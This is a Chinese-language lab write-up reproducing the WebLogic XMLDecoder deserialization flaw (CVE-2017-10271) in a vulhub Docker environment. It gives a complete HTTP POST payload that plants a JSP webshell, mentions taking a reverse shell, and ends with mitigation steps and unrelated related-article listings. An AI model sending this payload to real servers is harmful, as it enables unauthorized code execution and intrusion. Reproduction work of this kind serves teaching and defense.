【漏洞复现】WebLogic XMLDecoder反序列化(CVE-2017-10271)

1、漏洞描述

CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限。

2、涉及版本

10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0

3、环境搭建(vulhub)

cd weblogic
cd CVE-2017-10271
docker-compose up -d
docker-compose config

不会搭建的参考我之前的漏洞复现以及vulhub靶场搭建笔记:vulhub docker靶场搭建-CSDN博客

4、漏洞利用

1)访问链接:http://192.168.61.129:7001/wls-wsat/CoordinatorPortType

返回如下页面,表示漏洞存在。

漏洞不仅仅存在与 /wls-wsat/CoordinatorPortType,只要是wls-wsat包中的Url皆收到影响,可以查看web.xml得知所受到影响的URl。

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

2)构造数据包

构造写入文件数据包发送,其中Content-Type需要等于text/xml,否则可能导致XMLDecoder不解析。

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.61.129:7001
Accept-Encoding: gzip, deflate
Accept: */*Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 645
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header>   <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter">   <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shell.jsp</string> <void method="println">
<string>  <![CDATA[
<% out.print("webshell"); %>]]> </string>  </void>   <void method="close"/>   </object></java></java>  </work:WorkContext>   </soapenv:Header>   <soapenv:Body/>
</soapenv:Envelope>

3)验证webshell。

我们访问恶意路径:http://192.168.61.129:7001/bea_wls_internal/shell.jsp

不熟悉JAVA可以了解构造的XML。


https://docs.oracle.com/javase/tutorial/javabeans/advanced/longpersistence.htm

4)实战下Linux反弹shell。

我们kali开启监听。

成功获取到shell。

5.解决方案

1.临时解决方案

根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复。根据实际环境路径,删除WebLogic wls-wsat组件:

rm -f   /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f   /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

删除后重启Weblogic域控制器服务:

DOMAIN_NAME/bin/stopWeblogic.sh           #停止服务
DOMAIN_NAME/bin/startManagedWebLogic.sh    #启动服务

删除以上文件之后,需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。

2.官方补丁修复

前往Oracle官网下载10月份所提供的安全补丁:http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html升级过程可参考:http://blog.csdn.net/qqlifu/article/details/49423839

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/3305.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SpringMvc中的异常处理器(在SpringBoot中也可使用)

目录 一、单个控制器异常处理 二、全局异常处理器 三、自定义异常处理器 在开发过程中&#xff0c;Dao&#xff0c;service&#xff0c;Controller层代码出现异常都可能抛出异常。如果哪里产生异常就在哪里处理异常&#xff0c;则会降低开发效率。所以一般情况下我们会让异常…

clickhouse数据去重函数介绍(count distinct)

非精确去重函数&#xff1a;uniq、uniqHLL12、uniqCombined 精确去重函数&#xff1a;uniqExact、groupBitmap 测试数据量&#xff1a;2000w 结论&#xff1a; 1.整形值精确去重场景&#xff0c;groupBitmap 比 uniqExact至少快 2x 2.groupBitmap仅支持无符号整形值去重&#x…

文化旅游3D数字孪生可视化管理平台推动文旅产业迈向更加美好的未来

随着数字化、智能化管理成为文旅产业发展的必然趋势&#xff0c;数字孪生公司深圳华锐视点创新性地推出了景区三维可视化数字孪生平台&#xff0c;将线下的实体景区与线上的虚拟世界完美融合&#xff0c;引领智慧文旅新潮流。 我们运用先进的数字孪生、web3D开发和三维可视化等…

【Bug记录】@RequestBody参数属性为空的问题

1、问题发生背景 使用postman调用之前测试成功的接口&#xff0c;再进行项目拆分&#xff0c;重构之后&#xff0c;接口突然不通了&#xff0c;排查了很久&#xff0c;以为是框架调整&#xff0c;导致出了问题。 2、问题发生的原因 经过一系列的排查&#xff0c;排查详细过程就…

linux内核网络源码-用户空间与内核的接口

内核通过各种不同的接口把内部信息输出到用户空间&#xff0c;除了程序员用于请求特定信息的经典系统调用外&#xff0c;还有三个特殊接口&#xff0c;而其中两个是虚拟文件系统&#xff1a; procfs 文件系统 这是一个虚拟文件系统&#xff0c;通过是挂在proc ,允许内核以文件的…

详解Qt中的鼠标事件

在Qt中&#xff0c;处理鼠标事件是构建交互式界面的关键。Qt提供了一系列与鼠标相关的事件处理函数&#xff0c;允许开发者捕获鼠标的各种动作&#xff0c;如按下、释放、移动、双击等。以下是鼠标事件的使用方法、技巧以及注意事项&#xff0c;并附带C代码示例。 基础使用方法…

GDB多线程调试:Redis的IO多线程

Redis采用的网络模型是单线程的Reactor网络模型&#xff0c;异步处理&#xff0c;因为性能很高。 Reactor先从客户端获取请求&#xff0c;然后dispatch给具体的执行的线程。处理的流程即为read->decode->compute->encode->send。 而Redis的IO多线程的处理时&…

【C++】:拷贝构造函数和赋值运算符重载

目录 一&#xff0c;拷贝构造函数1. 什么是拷贝构造函数2. 拷贝构造函数的特性3. 实践总结 二&#xff0c;赋值运算符重载2.1 运算符重载2.2 赋值运算符重载 一&#xff0c;拷贝构造函数 1. 什么是拷贝构造函数 拷贝构造函数是特殊的构造函数。是用一个已经存在的对象&#x…

什么是哈希表

为了解力扣第一题自学哈希表&#xff0c;做总结。 哈希函数的原理&#xff1a; 如果输入一个参数&#xff0c;那么哈希函数就会输出一个数字&#xff0c;并且不同的输入会有不同的输出&#xff0c;相同的输入会有相同的输出。例如&#xff1a; 苹果————89 苹果————…

SAP采购订单-条件类型-配置开发步骤

由于采购业务变更&#xff0c;需要创建新的价格类型&#xff0c;并添加新的计算逻辑计算。首先在例程&#xff08;VOFM&#xff09;中创建计算逻辑&#xff0c;然后在系统配置&#xff08;SPRO&#xff09;中找到配置点&#xff0c;创建新的条件类型‘ZMM00’,创建定价过程‘ZM…

SpringCloud系列(16)--将服务提供者Provider注册进Zookeeper

前言&#xff1a;在上一章节中我们说明了一些关于Eureka自我保护模式&#xff0c;而且自上一章节起关于Eureka的知识已经讲的差不多了&#xff0c;不过因为Eureka已经停更了&#xff0c;为了安全考虑&#xff0c;我们要用还在更新维护的注册中心来取代Eureka&#xff0c;而本章…

Flink面试(2)

Flink面试&#xff08;1&#xff09;-CSDN博客 9. Flink 状态如何存储&#xff1f; 在 Flink 中&#xff0c;状态存储 被叫做 StateBackend&#xff0c;它具备两种能力&#xff1a; 在计算过程中提供访问 State 能力&#xff0c;开发者在编写业务逻辑中能够使用 StateBacken…

Python IO流

1.什么是IO&#xff1f; IO&#xff08;输入/输出&#xff09;是计算机程序与外部世界进行数据交换的一种方式。在Python中&#xff0c;IO操作通常涉及文件、网络、标准输入和输出等。Python的IO操作可以分为两种类型&#xff1a;文本IO和二进制IO。 文本IO&#xff1a;用于读…

网络数据包嗅探器工具

组织的网络非常庞大&#xff0c;包含服务器、交换机、路由器和接入点等众多节点&#xff0c;由于许多资源和流量不断通过这些节点&#xff0c;因此很难确定大量流量是真实的还是安全攻击的迹象&#xff0c;了解和了解组织的网络流量至关重要&#xff0c;一个有用的资源是网络数…

MySQL--mysql的安装(压缩包安装保姆级教程)

官网下载&#xff1a;www.mysql.com MySQL :: Download MySQL Community Server (Archived Versions) 1.MySQL下载流程&#xff1a; 第一步&#xff1a;点击download&#xff0c; 下滑找到MySQL community&#xff08;gpl&#xff09;Downloads>> 第二步&#xff1a;点…

通俗易懂,十分钟让你了解并上手 Docker

通俗易懂&#xff0c;十分钟让你了解并上手 Docker 一、Docker 能拿来解决什么问题二、Docker 的概念与模型1. 容器化技术2. 镜像的概念3. Docker与虚拟机 三. Docker的使用1. 环境安装2. 制作镜像3. 镜像管理&#xff08;1&#xff09; 图形界面&#xff08;2&#xff09; 命令…

MySQL 8.0性能优化实战培训

课程介绍 【云贝独家】MySQL 性能优化进阶课程&#xff0c;引领你的职业巅峰&#xff01; 同学们&#xff0c;你们是否被各种工作中的性能问题困扰&#xff1f;是否渴望提升自己在MySQL数据库方面的技术能力&#xff0c;掌握最新最前沿的技术知识呢&#xff1f; 我们讲师为你带…

深度学习中的黑科技:自监督学习(Self-Supervised Learning)

在人工智能领域&#xff0c;深度学习已成为推动技术革新的核心力量。然而&#xff0c;深度学习的一个重要瓶颈是对大量标记数据的依赖性。在这个背景下&#xff0c;自监督学习(Self-Supervised Learning, SSL)作为一种新兴的学习范式&#xff0c;越来越受到研究者的关注。自监督…

Java23种设计模式-创建型模式之工厂方法模式

工厂方法模式&#xff08;Factory Method Pattern&#xff09; 一种创建型设计模式&#xff0c;它定义了一个用于创建对象的接口&#xff0c;让子类决定将哪一个类实例化&#xff0c;从而将产品的实例化推迟到子类中。这种模式的主要角色包括&#xff1a; 角色1&#xff1a;抽…

内核技术解析

GitHub - floesen/KExecDD: Admin to Kernel code execution using the KSecDD driver https://security.stackexchange.com/questions/270383/how-does-the-av-inject-their-own-dll-in-each-new-process